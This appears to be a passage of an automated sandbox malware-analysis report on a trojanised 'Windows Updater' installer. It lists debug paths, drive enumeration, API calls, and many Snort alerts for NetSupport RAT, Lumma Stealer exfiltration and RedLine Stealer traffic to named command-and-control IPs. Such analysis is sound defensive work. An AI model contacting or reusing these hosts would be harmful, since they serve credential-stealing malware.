Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\Updater.pdb source: a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000000.3124835692.000000000061F000.00000002.00000001.01000000.0000001F.sdmp, Windows Updater.exe, 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmp, Windows Updater.exe, 00000020.00000002.3560876237.00000000002DF000.00000002.00000001.01000000.00000021.sdmp, Windows Updater.exe, 00000020.00000000.3156667669.00000000002DF000.00000002.00000001.01000000.00000021.sdmp, v114.exe, 00000039.00000003.3485745469.00000000036C7000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\Prereq.pdbb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: wmiprvse.exe, 0000000F.00000002.3930452953.000000006BD1E000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\aischeduler2.pdb source: a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\jenkins\workspace\ktop-agent_release_PDFY23FEB_1.0\target\Windows\x64\bin\Release\Setup\ODISSDK.pdb~ source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: wmiprvse.exe, 0000000F.00000002.3931001194.000000006BFC5000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: f:\mydev\inno-download-plugin\unicode\idp.pdb source: setup.tmp, 00000004.00000002.3928763850.000000001002F000.00000002.00000001.01000000.00000009.sdmp, setup.tmp, 00000004.00000002.3925711182.00000000039B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\InstallerAnalytics.pdb source: a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155933884.000000006A341000.00000002.00000001.01000000.0000001E.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000002.3558063819.0000000069EA1000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\lzmaextractor.pdb source: v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\Updater.pdb source: v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp

Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: z:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: x:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: v:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: t:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: r:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: p:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: n:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: l:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: j:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: h:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: f:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: b:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: y:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: w:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: u:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: s:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: q:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: o:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: m:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: k:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: i:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: g:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: e:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: c:
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	File opened: a:

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_10003A90 FtpSetCurrentDirectoryW,FtpFindFirstFileW,InternetFindNextFileW,InternetFindNextFileW,InternetCloseHandle,	4_2_10003A90
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C16160 FindFirstFileW,GetLastError,FindClose,	21_2_00C16160
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C39090 FindFirstFileW,FindClose,CloseHandle,CloseHandle,CloseHandle,CreateEventW,CreateThread,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	21_2_00C39090
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B2F3C0 FindClose,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,_wcsrchr,_wcsrchr,	21_2_00B2F3C0
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C15B90 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,GetFileAttributesW,FindNextFileW,	21_2_00C15B90
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C39F30 FindFirstFileW,FindClose,	21_2_00C39F30
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C54630 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,	21_2_00C54630
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C15800 _wcsrchr,FindFirstFileW,FindFirstFileW,FindFirstFileW,FindClose,FindClose,_wcsrchr,	21_2_00C15800
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C17910 FindFirstFileW,FindClose,	21_2_00C17910
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_0057D7C0 GetLastError,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindClose,	30_2_0057D7C0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005FF4F9 FindFirstFileExW,	30_2_005FF4F9
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_0023D7C0 GetLastError,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindClose,	32_2_0023D7C0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002BF4F9 FindFirstFileExW,	32_2_002BF4F9

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2047660 ET MALWARE Win32/TrojanDownloader Variant Activity (GET) 192.168.2.5:49705 -> 104.21.52.223:80
Source: Traffic	Snort IDS: 2827745 ETPRO TROJAN NetSupport RAT CnC Activity 192.168.2.5:49718 -> 95.142.47.11:1203
Source: Traffic	Snort IDS: 2839343 ETPRO MALWARE InnoDownloadPlugin User-Agent Observed 192.168.2.5:49730 -> 159.223.29.40:80
Source: Traffic	Snort IDS: 2834928 ETPRO MALWARE Observed Suspicious UA (AdvancedInstaller) 192.168.2.5:50126 -> 157.230.96.32:80
Source: Traffic	Snort IDS: 2839343 ETPRO MALWARE InnoDownloadPlugin User-Agent Observed 192.168.2.5:50133 -> 37.1.198.251:80
Source: Traffic	Snort IDS: 2839343 ETPRO MALWARE InnoDownloadPlugin User-Agent Observed 192.168.2.5:50187 -> 37.1.198.251:80
Source: Traffic	Snort IDS: 2855505 ETPRO TROJAN Lumma Stealer Related Activity 192.168.2.5:50196 -> 104.21.83.145:80
Source: Traffic	Snort IDS: 2048093 ET TROJAN [ANY.RUN] Win32/Lumma Stealer Check-In 192.168.2.5:50196 -> 104.21.83.145:80
Source: Traffic	Snort IDS: 2048094 ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration 192.168.2.5:50196 -> 104.21.83.145:80
Source: Traffic	Snort IDS: 2048094 ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration 192.168.2.5:50240 -> 104.21.83.145:80
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50245 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50246 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50247 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50248 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50249 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50250 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50251 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50252 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50253 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50254 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50255 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50256 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50257 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50258 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50259 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50260 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50261 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50262 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50263 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50264 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50265 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50266 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50267 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50268 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50269 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50270 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50271 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50272 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50273 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50274 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50275 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50276 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50277 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50278 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50279 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50280 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50281 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50282 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50283 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50284 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50285 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50286 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50287 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50288 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50289 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50290 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50291 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50292 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50293 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50294 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50295 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50296 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50297 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50298 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50299 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50300 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50301 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50302 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50303 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50304 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50305 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50306 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50307 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50308 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50309 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50310 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50311 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50312 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50313 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50314 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50315 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50316 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50317 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50318 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50319 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50320 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50321 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50322 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50323 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50324 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50325 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50326 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50327 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50328 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50329 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50330 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50331 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50332 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50333 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50334 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50335 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50336 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50337 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50338 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50339 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50340 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50341 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50342 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50343 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50344 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50345 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50346 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50347 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50348 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50349 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50350 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50351 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50352 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50353 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50354 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50355 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50356 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50357 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50358 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50359 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50360 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50361 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50362 -> 77.105.136.3:81
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) 192.168.2.5:50363 -> 77.105.136.3:81
